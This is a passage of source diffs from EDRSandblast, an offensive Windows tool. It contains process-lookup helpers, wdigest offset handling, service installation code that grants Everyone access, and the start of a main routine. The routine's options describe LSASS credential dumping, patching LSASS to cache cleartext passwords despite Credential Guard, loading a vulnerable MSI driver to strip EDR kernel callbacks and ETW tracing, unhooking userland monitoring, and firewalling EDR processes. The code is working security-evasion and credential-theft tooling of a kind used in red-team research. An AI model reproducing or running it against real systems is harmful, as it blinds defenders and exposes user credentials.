* Assumes the allocation is big enough to receive "length" chararcters (so is at least "length + 1" long)
*/
TCHAR* generateRandomString(TCHAR* str, size_t length) {
if (!srandDone) {
srand((unsigned int)time(0));
srandDone = TRUE;
}
const char charset[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789";
if (length) {
for (size_t n = 0; n < length; n++) {
int key = rand() % (int)(sizeof charset - 1);
str[n] = charset[key];
}
str[length] = '\0';
}
return str;
}
TCHAR* allocAndGenerateRandomString(size_t length) {
LPTSTR str = calloc(length + 1, sizeof(TCHAR));
if (str == NULL) {
return NULL;
}
generateRandomString(str, length);
return str;
}
+120
View File
@@ -0,0 +1,120 @@
#include "SyscallProcessUtils.h"
// Retrieve a given process PID.
DWORD SandGetProcessPID(HANDLE hProcess) {
PROCESS_BASIC_INFORMATION basicInformation;
basicInformation.UniqueProcessId = 0;
PROCESSINFOCLASS ProcessInformationClass = 0;
NTSTATUS status = NtQueryInformationProcess(hProcess, ProcessInformationClass, &basicInformation, sizeof(PROCESS_BASIC_INFORMATION), NULL);
if (!NT_SUCCESS(status)) {
_tprintf_or_not(TEXT("[-] Couldn't retrieve process PID as NtQueryInformationProcess syscall failed with error 0x%x.\n"), status);
return 0;
}
return (DWORD) basicInformation.UniqueProcessId;
}
// Retrieve a given process image (PE full path).
PUNICODE_STRING SandGetProcessImage(HANDLE hProcess) {
NTSTATUS status;
ULONG ProcessImageLength = 1;
PUNICODE_STRING ProcessImageBuffer = NULL;
do {
ProcessImageBuffer = calloc(ProcessImageLength, sizeof(TCHAR));
if (!ProcessImageBuffer) {
_tprintf_or_not(TEXT("[-] Couldn't allocate memory for process image\n"));
return NULL;
}
status = NtQueryInformationProcess(hProcess, ProcessImageFileName, ProcessImageBuffer, ProcessImageLength, &ProcessImageLength);
if (NT_SUCCESS(status)) {
break;
}
free(ProcessImageBuffer);
ProcessImageBuffer = NULL;
} while (status == STATUS_INFO_LENGTH_MISMATCH);
if (!ProcessImageBuffer) {
_tprintf_or_not(TEXT("[-] Failed to retrieve process image\n"));
return NULL;
}
return ProcessImageBuffer;
}
// Extract filename from process image full path.
DWORD SandGetProcessFilename(PUNICODE_STRING ProcessImageUnicodeStr, TCHAR* ImageFileName, DWORD nSize) {
if (ProcessImageUnicodeStr->Length == 0) {
return 0;
}
// Process name will be /binary.exe.
TCHAR* ProcessName = _tcsrchr(ProcessImageUnicodeStr->Buffer, TEXT('\\'));
if (!ProcessName) {
return 0;
}
// Skip the /.
ProcessName = &ProcessName[1];
DWORD ProcessNameLength = (DWORD)_tcslen(ProcessName);
if (ProcessNameLength > nSize) {
_tprintf_or_not(TEXT("[-] Input buffer size is too small for file name\n"));
return 0;
}
_tcsncat_s(ImageFileName, nSize, ProcessName, _TRUNCATE);
return ProcessNameLength;
}
// Find a process PID using its filename.
DWORD SandFindProcessPidByName(TCHAR* targetProcessName, DWORD* pPid) {
DWORD status = STATUS_UNSUCCESSFUL;
HANDLE hProcess = NULL;
PUNICODE_STRING currentProcessImage = NULL;
TCHAR* currentProcessName = NULL;
DWORD currentProcessNameSz = 0;
*pPid = 0;
while (*pPid == 0) {
status = NtGetNextProcess(hProcess, PROCESS_QUERY_INFORMATION, 0, 0, &hProcess);
if (status == STATUS_NO_MORE_ENTRIES) {
_tprintf_or_not(TEXT("[-] The process '%s' was not found\n"), targetProcessName);
return STATUS_NO_MORE_ENTRIES;
}
else if (!NT_SUCCESS(status)) {
_tprintf_or_not(TEXT("[-] Syscall NtGetNextProcess failed with error 0x%x.\n"), status);
return status;
}
currentProcessImage = SandGetProcessImage(hProcess);
currentProcessName = calloc(currentProcessImage->MaximumLength, sizeof(TCHAR));
if (!currentProcessName) {
_tprintf_or_not(TEXT("[-] Couldn't allocate memory for process filename\n"));
return STATUS_UNSUCCESSFUL;
}
currentProcessNameSz = SandGetProcessFilename(currentProcessImage, currentProcessName, currentProcessImage->MaximumLength);
if (currentProcessNameSz != 0 && !_tcsicmp(targetProcessName, currentProcessName)) {
*pPid = SandGetProcessPID(hProcess);
break;
}
free(currentProcessImage);
currentProcessImage = NULL;
free(currentProcessName);
currentProcessName = NULL;
}
if (*pPid) {
return STATUS_SUCCES;
}
else {
return STATUS_UNSUCCESSFUL;
}
}
+71 -13
View File
@@ -9,24 +9,25 @@
#include <tchar.h>
#include <stdio.h>
#include "../EDRSandblast.h"
#include "FileVersion.h"
#include "PdbSymbols.h"
#include "WdigestOffsets.h"
union WdigestOffsets wdigestOffsets = { 0 };
union WdigestOffsets g_wdigestOffsets = { 0 };
// Return the offsets of nt!PspCreateProcessNotifyRoutine, nt!PspCreateThreadNotifyRoutine, nt!PspLoadImageNotifyRoutine, and nt!_PS_PROTECTION for the specific Windows version in use.
union WdigestOffsets GetWdigestVersionOffsets(TCHAR* wdigestOffsetFilename) {
TCHAR wdigestVersion[256] = { 0 };
GetWdigestVersion(wdigestVersion);
_tprintf(TEXT("[*] System's wdigest.dll file version is: %s\n"), wdigestVersion);
void LoadWdigestOffsetsFromFile(TCHAR* wdigestOffsetFilename) {
LPTSTR wdigestVersion = GetWdigestVersion();
_tprintf_or_not(TEXT("[*] System's wdigest.dll file version is: %s\n"), wdigestVersion);
FILE* offsetFileStream = NULL;
_tfopen_s(&offsetFileStream, wdigestOffsetFilename, TEXT("r"));
union WdigestOffsets offsetResults = { 0 };
if (offsetFileStream == NULL) {
_tprintf(TEXT("[!] Offset CSV file not found / invalid. A valid offset file must be specifed!\n"));
return offsetResults;
_putts_or_not(TEXT("[!] Offset CSV file not found / invalid. A valid offset file must be specifed!"));
return;
}
TCHAR lineWdigestVersion[256];
@@ -37,14 +38,71 @@ union WdigestOffsets GetWdigestVersionOffsets(TCHAR* wdigestOffsetFilename) {
_tcscpy_s(lineWdigestVersion, _countof(lineWdigestVersion), _tcstok_s(dupline, TEXT(","), &tmpBuffer));
if (_tcscmp(wdigestVersion, lineWdigestVersion) == 0) {
TCHAR* endptr;
_tprintf(TEXT("[+] Offsets are available for this version of wdigest.dll (%s)!\n"), wdigestVersion);
// TODO: switch hardcoded value to sizeof or const defined
for (int i = 0; i < 2; i++) {
offsetResults.ar[i] = _tcstoull(_tcstok_s(NULL, TEXT(","), &tmpBuffer), &endptr, 16);
_tprintf_or_not(TEXT("[+] Offsets are available for this version of wdigest.dll (%s)!\n"), wdigestVersion);
for (int i = 0; i < _SUPPORTED_WDIGEST_OFFSETS_END; i++) {
g_wdigestOffsets.ar[i] = _tcstoull(_tcstok_s(NULL, TEXT(","), &tmpBuffer), &endptr, 16);
}
break;
}
}
fclose(offsetFileStream);
return offsetResults;
}
void SaveWdigestOffsetsToFile(TCHAR* wdigestOffsetFilename) {
LPTSTR wdigestVersion = GetWdigestVersion();
FILE* offsetFileStream = NULL;
_tfopen_s(&offsetFileStream, wdigestOffsetFilename, TEXT("a"));
if (offsetFileStream == NULL) {
_putts_or_not(TEXT("[!] Offset CSV file connot be opened"));
return;
}
_ftprintf(offsetFileStream, TEXT("%s"), wdigestVersion);
for (int i = 0; i < _SUPPORTED_WDIGEST_OFFSETS_END; i++) {
_ftprintf(offsetFileStream, TEXT(",%llx"), g_wdigestOffsets.ar[i]);
}
_fputts(TEXT(""), offsetFileStream);
fclose(offsetFileStream);
}
void LoadWdigestOffsetsFromInternet(BOOL delete_pdb) {
LPTSTR wdigestPath = GetWdigestPath();
symbol_ctx* sym_ctx = LoadSymbolsFromImageFile(wdigestPath);
if (sym_ctx == NULL) {
return;
}
g_wdigestOffsets.st.g_fParameter_UseLogonCredential = GetSymbolAddress(sym_ctx, "g_fParameter_UseLogonCredential");
g_wdigestOffsets.st.g_IsCredGuardEnabled = GetSymbolAddress(sym_ctx, "g_IsCredGuardEnabled");
UnloadSymbols(sym_ctx, delete_pdb);
}
TCHAR g_wdigestPath[MAX_PATH] = { 0 };
LPTSTR GetWdigestPath() {
if (_tcslen(g_wdigestPath) == 0) {
// Retrieves the system folder (eg C:\Windows\System32).
TCHAR systemDirectory[MAX_PATH] = { 0 };
GetSystemDirectory(systemDirectory, _countof(systemDirectory));
// Compute wdigest.dll path.
_tcscat_s(g_wdigestPath, _countof(g_wdigestPath), systemDirectory);
_tcscat_s(g_wdigestPath, _countof(g_wdigestPath), TEXT("\\wdigest.dll"));
}
return g_wdigestPath;
}
TCHAR g_wdigestVersion[256] = { 0 };
LPTSTR GetWdigestVersion() {
if (_tcslen(g_wdigestVersion) == 0) {
LPTSTR wdigestPath = GetWdigestPath();
TCHAR versionBuffer[256] = { 0 };
GetFileVersion(versionBuffer, _countof(versionBuffer), wdigestPath);
_stprintf_s(g_wdigestVersion, 256, TEXT("wdigest_%s.dll"), versionBuffer);
}
return g_wdigestVersion;
}
+165
View File
@@ -0,0 +1,165 @@
#include "../EDRSandblast.h"
#include "WindowsServiceOps.h"
BOOL ServiceAddEveryoneAccess(SC_HANDLE serviceHandle) {
BOOL status = FALSE;
DWORD dwSizeNeeded;
PSECURITY_DESCRIPTOR oldSd, newSd;
SECURITY_DESCRIPTOR dummySdForXP;
SID_IDENTIFIER_AUTHORITY SIDAuthWorld = SECURITY_WORLD_SID_AUTHORITY;
EXPLICIT_ACCESS ForEveryoneACL = {
SERVICE_QUERY_STATUS | SERVICE_QUERY_CONFIG | SERVICE_INTERROGATE | SERVICE_ENUMERATE_DEPENDENTS | SERVICE_PAUSE_CONTINUE | SERVICE_START | SERVICE_STOP | SERVICE_USER_DEFINED_CONTROL | READ_CONTROL,
SET_ACCESS,
NO_INHERITANCE,
{NULL, NO_MULTIPLE_TRUSTEE, TRUSTEE_IS_SID, TRUSTEE_IS_WELL_KNOWN_GROUP, NULL}
};
if (!QueryServiceObjectSecurity(serviceHandle, DACL_SECURITY_INFORMATION, &dummySdForXP, 0, &dwSizeNeeded) && (GetLastError() == ERROR_INSUFFICIENT_BUFFER)) {
oldSd = (PSECURITY_DESCRIPTOR)LocalAlloc(LPTR, dwSizeNeeded);
if (oldSd) {
if (QueryServiceObjectSecurity(serviceHandle, DACL_SECURITY_INFORMATION, oldSd, dwSizeNeeded, &dwSizeNeeded)) {
if (AllocateAndInitializeSid(&SIDAuthWorld, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, (PSID*)&ForEveryoneACL.Trustee.ptstrName)) {
if (BuildSecurityDescriptor(NULL, NULL, 1, &ForEveryoneACL, 0, NULL, oldSd, &dwSizeNeeded, &newSd) == ERROR_SUCCESS) {
status = SetServiceObjectSecurity(serviceHandle, DACL_SECURITY_INFORMATION, newSd);
LocalFree(newSd);
}
FreeSid(ForEveryoneACL.Trustee.ptstrName);
}
}
LocalFree(oldSd);
}
}
return status;
}
DWORD ServiceInstall(PCTSTR serviceName, PCTSTR displayName, PCTSTR binPath, DWORD serviceType, DWORD startType, BOOL startIt) {
SC_HANDLE hSC = NULL;
SC_HANDLE hS = NULL;
hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE);
if (hSC) {
hS = OpenService(hSC, serviceName, SERVICE_START);
if (hS) {
_tprintf_or_not(TEXT("[+] \'%s\' service already registered\n"), serviceName);
}
else {
if (GetLastError() == ERROR_SERVICE_DOES_NOT_EXIST) {
_tprintf_or_not(TEXT("[*] \'%s\' service was not present\n"), serviceName);
hS = CreateService(hSC, serviceName, displayName, READ_CONTROL | WRITE_DAC | SERVICE_START, serviceType, startType, SERVICE_ERROR_NORMAL, binPath, NULL, NULL, NULL, NULL, NULL);
if (hS) {
_tprintf_or_not(TEXT("[+] \'%s\' service is successfully registered\n"), serviceName);
if (ServiceAddEveryoneAccess(hS)) {
_tprintf_or_not(TEXT("[+] \'%s\' service ACL configured to for Everyone\n"), serviceName);
}
else {
_putts_or_not(TEXT("[!] ServiceAddEveryoneAccess"));
}
}
else {
PRINT_ERROR_AUTO(TEXT("CreateService"));
}
}
else {
PRINT_ERROR_AUTO(TEXT("OpenService"));
}
}
if (hS) {
if (startIt) {
if (StartService(hS, 0, NULL)) {
_tprintf_or_not(TEXT("[+] \'%s\' service started\n"), serviceName);
}
else if (GetLastError() == ERROR_SERVICE_ALREADY_RUNNING) {
_tprintf_or_not(TEXT("[*] \'%s\' service already started\n"), serviceName);
}
else {
PRINT_ERROR_AUTO(TEXT("StartService"));
return GetLastError();
}
}
CloseServiceHandle(hS);
}
CloseServiceHandle(hSC);
}
else {
PRINT_ERROR_AUTO(TEXT("OpenSCManager(create)"));
return GetLastError();
}
return 0x0;
}
BOOL ServiceGenericControl(PCTSTR serviceName, DWORD dwDesiredAccess, DWORD dwControl, LPSERVICE_STATUS ptrServiceStatus) {
BOOL status = FALSE;
SC_HANDLE hSC, hS;
SERVICE_STATUS serviceStatus;
hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT);
if (hSC) {
hS = OpenService(hSC, serviceName, dwDesiredAccess);
if (hS) {
status = ControlService(hS, dwControl, ptrServiceStatus ? ptrServiceStatus : &serviceStatus);
CloseServiceHandle(hS);
}
CloseServiceHandle(hSC);
}
return status;
}
BOOL ServiceUninstall(PCTSTR serviceName, DWORD attemptCount) {
// Used as a stop point for recursive calls to ServiceUninstall.
if (attemptCount > MAX_UNINSTALL_ATTEMPTS) {
_tprintf_or_not(TEXT("[!] Reached maximun number of attempts (%i) to uninstall the service \'%s\'\n"), MAX_UNINSTALL_ATTEMPTS, serviceName);
return FALSE;
}
if (ServiceGenericControl(serviceName, SERVICE_STOP, SERVICE_CONTROL_STOP, NULL)) {
_tprintf_or_not(TEXT("[+] \'%s\' service stopped\n"), serviceName);
}
else if (GetLastError() == ERROR_SERVICE_NOT_ACTIVE) {
_tprintf_or_not(TEXT("[*] \'%s\' service not running\n"), serviceName);
}
else if (GetLastError() == ERROR_SERVICE_CANNOT_ACCEPT_CTRL) {
_tprintf_or_not(TEXT("[*] \'%s\' service cannot accept control messages at this time, waiting...\n"), serviceName);
Sleep(OP_SLEEP_TIME);
}
else {
PRINT_ERROR_AUTO(TEXT("ServiceUninstall"));
Sleep(OP_SLEEP_TIME);
return ServiceUninstall(serviceName, attemptCount + 1);
}
SERVICE_STATUS status;
BOOL deleted = FALSE;
SC_HANDLE hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT);
if (hSC) {
SC_HANDLE hS = OpenService(hSC, serviceName, SERVICE_QUERY_STATUS | DELETE);
if (hS) {
if (QueryServiceStatus(hS, &status)) {
if (!(status.dwCurrentState == SERVICE_STOPPED)) {
CloseServiceHandle(hS);
CloseServiceHandle(hSC);
Sleep(OP_SLEEP_TIME);
return ServiceUninstall(serviceName, attemptCount + 1);
}
else {
deleted = DeleteService(hS);
CloseServiceHandle(hS);
}
}
}
CloseServiceHandle(hSC);
}
if (!deleted) {
Sleep(OP_SLEEP_TIME);
return ServiceUninstall(serviceName, attemptCount + 1);
}
return deleted;
}
+742
View File
@@ -0,0 +1,742 @@
#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <Tchar.h>
#include <psapi.h>
#include <PathCch.h>
#include <shlwapi.h>
#include <time.h>
#ifdef _DEBUG
#include <assert.h>
#endif
#include "CredGuard.h"
#include "DriverOps.h"
#include "FileUtils.h"
#include "Firewalling.h"
#include "ETWThreatIntel.h"
#include "KernelCallbacks.h"
#include "KernelMemoryPrimitives.h"
#include "ProcessDump.h"
#include "ProcessDumpDirectSyscalls.h"
#include "NtoskrnlOffsets.h"
#include "ObjectCallbacks.h"
#include "PEBBrowse.h"
#include "RunAsPPL.h"
#include "Syscalls.h"
#include "Undoc.h"
#include "UserlandHooks.h"
#include "WdigestOffsets.h"
#include "../EDRSandblast/EDRSandblast.h"
typedef NTSTATUS(NTAPI* NtQueryInformationProcess_f)(
HANDLE ProcessHandle,
PROCESSINFOCLASS ProcessInformationClass,
PVOID ProcessInformation,
ULONG ProcessInformationLength,
PULONG ReturnLength
);
void PrintBanner() {
const TCHAR edrsandblast[] = TEXT(" ______ _____ _____ _____ _ _ _ _ \r\n | ____| __ \\| __ \\ / ____| | | | | | | | \r\n | |__ | | | | |__) | (___ __ _ _ __ __| | |__ | | __ _ ___| |_ \r\n | __| | | | | _ / \\___ \\ / _` | \'_ \\ / _` | \'_ \\| |/ _` / __| __|\r\n | |____| |__| | | \\ \\ ____) | (_| | | | | (_| | |_) | | (_| \\__ | |_ \r\n |______|_____/|_| \\_|_____/ \\__,_|_| |_|\\__,_|_.__/|_|\\__,_|___/\\__|\n");
const TCHAR defcon[] = TEXT("D3FC0N 30 Edition");
const TCHAR authors[2][256] = { TEXT("Thomas DIOT (@_Qazeer)"), TEXT("Maxime MEIGNAN (@th3m4ks)") };
srand(time(NULL));
int r = rand() % 2;
_putts_or_not(edrsandblast);
_tprintf_or_not(TEXT(" %s | %s & %s\n\n"), defcon, authors[r], authors[(r + 1) % 2]);
}
BOOL WasRestarted() {
PROCESS_BASIC_INFORMATION pbi = { 0 };
ULONG written = 0;
PE* n = PE_create(getModuleEntryFromNameW(L"ntdll.dll")->DllBase, TRUE);
NtQueryInformationProcess_f NtQueryInformationProcess = (NtQueryInformationProcess_f)PE_functionAddr(n, "NtQueryInformationProcess"); //TODO : use a less-dirty method
NtQueryInformationProcess(GetCurrentProcess(), ProcessBasicInformation, &pbi, sizeof(pbi), &written);
DWORD parentPid = (DWORD)pbi.InheritedFromUniqueProcessId;
HANDLE hParent = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, parentPid);
CHAR parentImage[MAX_PATH] = { 0 };
CHAR myImage[MAX_PATH] = { 0 };
GetProcessImageFileNameA(hParent, parentImage, sizeof(parentImage));
GetProcessImageFileNameA(GetCurrentProcess(), myImage, sizeof(myImage));
PE_destroy(n);
return strcmp(parentImage, myImage) == 0;
}
/*
--- Execution entry point.
*/
int _tmain(int argc, TCHAR** argv) {
// Parse command line arguments and initialize variables to default values if needed.
const TCHAR usage[] = TEXT("Usage: EDRSandblast.exe [-h | --help] [-v | --verbose] <audit | dump | cmd | credguard | firewall> [--usermode [--unhook-method <N>] [--direct-syscalls]] [--kernelmode] [--dont-unload-driver] [--no-restore] [--driver <RTCore64.sys>] [--service <SERVICE_NAME>] [--nt-offsets <NtoskrnlOffsets.csv>] [--wdigest-offsets <WdigestOffsets.csv>] [--add-dll <dll name or path>]* [-o | --dump-output <DUMP_FILE>]");
const TCHAR extendedUsage[] = TEXT("\n\
-h | --help Show this help message and exit.\n\
-v | --verbose Enable a more verbose output.\n\
\n\
Actions mode:\n\
\n\
\taudit Display the user-land hooks and / or Kernel callbacks without taking actions.\n\
\tdump Dump the process specified by --process-name (LSASS process by default), as '<process_name>' in the current directory or at the\n\
\t specified file using -o | --output <DUMP_FILE>.\n\
\tcmd Open a cmd.exe prompt.\n\
\tcredguard Patch the LSASS process' memory to enable Wdigest cleartext passwords caching even if\n\
\t Credential Guard is enabled on the host. No kernel-land actions required.\n\
\tfirewall Add Windows firewall rules to block network access for the EDR processes / services.\n\
\n\
--usermode Perform user-land operations (DLL unhooking).\n\
--kernelmode Perform kernel-land operations (Kernel callbacks removal and ETW TI disabling).\n\
\n\
--unhook-method <N>\n Choose the userland un-hooking technique, from the following: \n\
\n\
\t0 Do not perform any unhooking (used for direct syscalls operations).\n\
\t1 (Default) Uses the (probably monitored) NtProtectVirtualMemory function in ntdll to remove all\n\
\t present userland hooks.\n\
\t2 Constructs a 'unhooked' (i.e. unmonitored) version of NtProtectVirtualMemory, by\n\
\t allocating an executable trampoline jumping over the hook, and remove all present\n\
\t userland hooks.\n\
\t3 Searches for an existing trampoline allocated by the EDR itself, to get an 'unhooked'\n\
\t (i.e. unmonitored) version of NtProtectVirtualMemory, and remove all present userland\n\
\t hooks.\n\
\t4 Loads an additional version of ntdll library into memory, and use the (hopefully\n\
\t unmonitored) version of NtProtectVirtualMemory present in this library to remove all\n\
\t present userland hooks.\n\
\t5 Allocates a shellcode that uses a direct syscall to call NtProtectVirtualMemory,\n\
\t and uses it to remove all detected hooks\n\
--direct-syscalls Use direct syscalls to conduct the specified action if possible (for now only for process dump).\n\
\n\
Other options:\n\
\n\
--dont-unload-driver Keep the vulnerable driver installed on the host\n\
Default to automatically unsinstall the driver.\n\
--no-restore Do not restore the EDR drivers' Kernel Callbacks that were removed.\n\
Default to restore the callbacks.\n\
\n\
--driver <RTCore64.sys> Path to the Micro-Star MSI Afterburner vulnerable driver file.\n\
Default to 'RTCore64.sys' in the current directory.\n\
--service <SERVICE_NAME> Name of the vulnerable service to intall / start.\n\
\n\
--nt-offsets <NtoskrnlOffsets.csv> Path to the CSV file containing the required ntoskrnl.exe's offsets.\n\
Default to 'NtoskrnlOffsets.csv' in the current directory.\n\
--wdigest-offsets <WdigestOffsets.csv> Path to the CSV file containing the required wdigest.dll's offsets\n\
(only for the 'credguard' mode).\n\
Default to 'WdigestOffsets.csv' in the current directory.\n\
\n\
--add-dll <dll name or path> Loads arbitrary libraries into the process' address space, before starting\n\
anything. This can be useful to audit userland hooking for DLL that are not\n\
loaded by default by this program. Use this option multiple times to load\n\
multiple DLLs all at once.\n\
Example of interesting DLLs to look at: user32.dll, ole32.dll, crypt32.dll,\n\
samcli.dll, winhttp.dll, urlmon.dll, secur32.dll, shell32.dll...\n\
\n\
-o | --output <DUMP_FILE> Output path to the dump file that will be generated by the 'dump' mode.\n\
Default to 'process_name' in the current directory.\n\
\
-i | --internet Enables automatic symbols download from Microsoft Symbol Server\n\
If a corresponding *Offsets.csv file exists, appends the downloaded offsets to the file for later use\n\
OpSec warning: downloads and drops on disk a PDB file for ntoskrnl.exe and/or wdigest.dll\n");
BOOL status;
HRESULT hrStatus = S_OK;
TCHAR currentFolderPath[MAX_PATH] = { 0 };
GetCurrentDirectory(_countof(currentFolderPath), currentFolderPath);
if (argc < 2) {
_tprintf_or_not(TEXT("%s"), usage);
return EXIT_FAILURE;
}
START_MODE startMode = none;
TCHAR driverPath[MAX_PATH] = { 0 };
TCHAR driverDefaultName[] = DEFAULT_DRIVER_FILE;
TCHAR ntoskrnlOffsetCSVPath[MAX_PATH] = { 0 };
TCHAR wdigestOffsetCSVPath[MAX_PATH] = { 0 };
TCHAR processName[] = TEXT("lsass.exe");
TCHAR outputPath[MAX_PATH] = { 0 };
BOOL verbose = FALSE;
BOOL removeVulnDriver = TRUE;
BOOL restoreCallbacks = TRUE;
BOOL userMode = FALSE;
BOOL internet = FALSE;
enum UNHOOK_METHOD_e unhook_method = UNHOOK_WITH_NTPROTECTVIRTUALMEMORY;
BOOL directSyscalls = FALSE;
BOOL kernelMode = FALSE;
int lpExitCode = EXIT_SUCCESS;
struct FOUND_EDR_CALLBACKS* foundEDRDrivers = NULL;
BOOL ETWTIState = FALSE;
BOOL foundNotifyRoutineCallbacks = FALSE;
BOOL foundObjectCallbacks = FALSE;
HOOK* hooks = NULL;
//TODO implement a "force" mode : remove notify routines & object callbacks without checking if it belongs to an EDR (useful as a last resort if a driver is not recognized)
for (int i = 1; i < argc; i++) {
if (_tcsicmp(argv[i], TEXT("dump")) == 0) {
startMode = dump;
}
else if (_tcsicmp(argv[i], TEXT("cmd")) == 0) {
startMode = cmd;
}
else if (_tcsicmp(argv[i], TEXT("credguard")) == 0) {
startMode = credguard;
}
else if (_tcsicmp(argv[i], TEXT("audit")) == 0) {
startMode = audit;
}
else if (_tcsicmp(argv[i], TEXT("firewall")) == 0) {
startMode = firewall;
}
else if (_tcsicmp(argv[i], TEXT("-h")) == 0 || _tcsicmp(argv[i], TEXT("--help")) == 0) {
_putts_or_not(usage);
_putts_or_not(extendedUsage);
return EXIT_SUCCESS;
}
else if (_tcsicmp(argv[i], TEXT("-v")) == 0 || _tcsicmp(argv[i], TEXT("--verbose")) == 0) {
verbose = TRUE;
}
else if (_tcsicmp(argv[i], TEXT("--usermode")) == 0) {
userMode = TRUE;
}
else if (_tcsicmp(argv[i], TEXT("--kernelmode")) == 0) {
kernelMode = TRUE;
}
else if (_tcsicmp(argv[i], TEXT("--dont-unload-driver")) == 0) {
removeVulnDriver = FALSE;
}
else if (_tcsicmp(argv[i], TEXT("--no-restore")) == 0) {
restoreCallbacks = FALSE;
}
else if (_tcsicmp(argv[i], TEXT("--driver")) == 0) {
i++;
if (i > argc) {
_tprintf_or_not(TEXT("%s"), usage);
return EXIT_FAILURE;
}
_tcsncpy_s(driverPath, _countof(driverPath), argv[i], _tcslen(argv[i]));
}
else if (_tcsicmp(argv[i], TEXT("--service")) == 0) {
i++;
if (i > argc) {
_tprintf_or_not(TEXT("%s"), usage);
return EXIT_FAILURE;
}
SetDriverServiceName(argv[i]);
}
else if (_tcsicmp(argv[i], TEXT("--nt-offsets")) == 0) {
i++;
if (i > argc) {
_tprintf_or_not(TEXT("%s"), usage);
return EXIT_FAILURE;
}
_tcsncpy_s(ntoskrnlOffsetCSVPath, _countof(ntoskrnlOffsetCSVPath), argv[i], _tcslen(argv[i]));
}
else if (_tcsicmp(argv[i], TEXT("--wdigest-offsets")) == 0) {
i++;
if (i > argc) {
_tprintf_or_not(TEXT("%s"), usage);
return EXIT_FAILURE;
}
_tcsncpy_s(wdigestOffsetCSVPath, _countof(wdigestOffsetCSVPath), argv[i], _tcslen(argv[i]));
}
else if (_tcsicmp(argv[i], TEXT("-o")) == 0 || _tcsicmp(argv[i], TEXT("--dump-output")) == 0) {
i++;
if (i > argc) {
_tprintf_or_not(TEXT("%s"), usage);
return EXIT_FAILURE;
}
_tcsncpy_s(outputPath, _countof(outputPath), argv[i], _tcslen(argv[i]));
}
else if (_tcsicmp(argv[i], TEXT("--process-name")) == 0) {
i++;
if (i > argc) {
_tprintf_or_not(TEXT("%s"), usage);
return EXIT_FAILURE;
}
_tcsncpy_s(processName, _countof(processName), argv[i], _tcslen(argv[i]));
}
else if (_tcsicmp(argv[i], TEXT("--unhook-method")) == 0) {
i++;
if (i > argc) {
_tprintf_or_not(TEXT("%s"), usage);
return EXIT_FAILURE;
}
unhook_method = _ttoi(argv[i]);
}
else if (_tcsicmp(argv[i], TEXT("--direct-syscalls")) == 0) {
directSyscalls = TRUE;
}
else if (_tcsicmp(argv[i], TEXT("--add-dll")) == 0) {
i++;
if (i > argc) {
_tprintf_or_not(TEXT("%s"), usage);
return EXIT_FAILURE;
}
HANDLE hAdditionnalLib = LoadLibrary(argv[i]);
if (hAdditionnalLib == INVALID_HANDLE_VALUE) {
_tprintf_or_not(TEXT("Library %s could not have been loaded, exiting...\n"), argv[i]);
return EXIT_FAILURE;
}
}
else if (_tcsicmp(argv[i], TEXT("-i")) == 0 || _tcsicmp(argv[i], TEXT("--internet")) == 0) {
internet = TRUE;
}
else {
_tprintf_or_not(TEXT("%s"), usage);
return EXIT_FAILURE;
}
}
if (WasRestarted()) {
removeVulnDriver = FALSE;
}
else {
PrintBanner();
}
// Command line option consistency checks.
if (startMode == none){
_putts_or_not(TEXT("[!] You did not provide an action to perform: audit, dump, credguard or cmd"));
return EXIT_FAILURE;
}
if (startMode == cmd && !kernelMode) {
_putts_or_not(TEXT("'cmd' mode needs kernel-land unhooking to work, please enable --kernelmode"));
return EXIT_FAILURE;
}
if (!userMode && !kernelMode) {
_putts_or_not(TEXT("[!] You did not provide at least one option between --usermode and --kernelmode. Enabling --usermode by default...\n"));
userMode = TRUE;
}
if (!userMode && kernelMode) {
_putts_or_not(TEXT("[!] If kernel mode bypass is enabled, it is recommended to enable usermode bypass as well (e.g. to unhook the NtLoadDriver API call)\n"));
}
if (startMode == credguard && !kernelMode) {
_putts_or_not(TEXT("[!] Credential Guard bypass might fail if RunAsPPL is enabled. Enable --kernelmode to bypass PPL\n"));
}
if (startMode == dump && !kernelMode) {
_putts_or_not(TEXT("[!] LSASS dump might fail if RunAsPPL is enabled. Enable --kernelmode to bypass PPL\n"));
}
// TODO: set isSafeToExecutePayloadUserland by unhook to TRUE / FALSE if there are still hooks.
BOOL isSafeToExecutePayloadUserland = TRUE;
BOOL isSafeToExecutePayloadKernelland = TRUE;
if (userMode) {
_putts_or_not(TEXT("[===== USER MODE =====]\n"));
_putts_or_not(TEXT("[+] Detecting userland hooks in all loaded DLLs..."));
hooks = searchHooks(NULL);
_putts_or_not(TEXT(""));
if (startMode != audit && unhook_method != UNHOOK_NONE) {
if (hooks->disk_function != NULL) {
_putts_or_not(TEXT("[+] [Hooks]\tRemoving detected userland hooks..."));
}
for (HOOK* ptr = hooks; ptr->disk_function != NULL; ptr++) {
printf_or_not("[+] [Hooks]\tUnhooking %s using method %ld...\n", ptr->functionName, unhook_method);
// TODO: return if all hook could be removed and set isSafeToExecutePayloadUserland.
unhook(ptr, unhook_method);
}
}
_putts_or_not(TEXT(""));
}
if (kernelMode) {
_putts_or_not(TEXT("[===== KERNEL MODE =====]\n"));
if (_tcslen(driverPath) == 0) {
PathCchAppend(driverPath, _countof(driverPath), currentFolderPath);
PathCchAppend(driverPath, _countof(driverPath), driverDefaultName);
}
if (!FileExists(driverPath)) {
_tprintf_or_not(TEXT("[!] Required driver file not present at %s\nExiting...\n"), driverPath);
return EXIT_FAILURE;
}
if (_tcslen(ntoskrnlOffsetCSVPath) == 0) {
TCHAR offsetCSVName[] = TEXT("NtoskrnlOffsets.csv");
PathCchAppend(ntoskrnlOffsetCSVPath, _countof(ntoskrnlOffsetCSVPath), currentFolderPath);
PathCchAppend(ntoskrnlOffsetCSVPath, _countof(ntoskrnlOffsetCSVPath), offsetCSVName);
}
_putts_or_not(TEXT("[+] Setting up prerequisites for the kernel read/write primitives..."));
// Initialize the global variable containing ntoskrnl.exe Notify Routines', _PS_PROTECTION and ETW TI functions offsets.
if (FileExists(ntoskrnlOffsetCSVPath)) {
_putts_or_not(TEXT("[+] Loading kernel related offsets from the CSV file"));
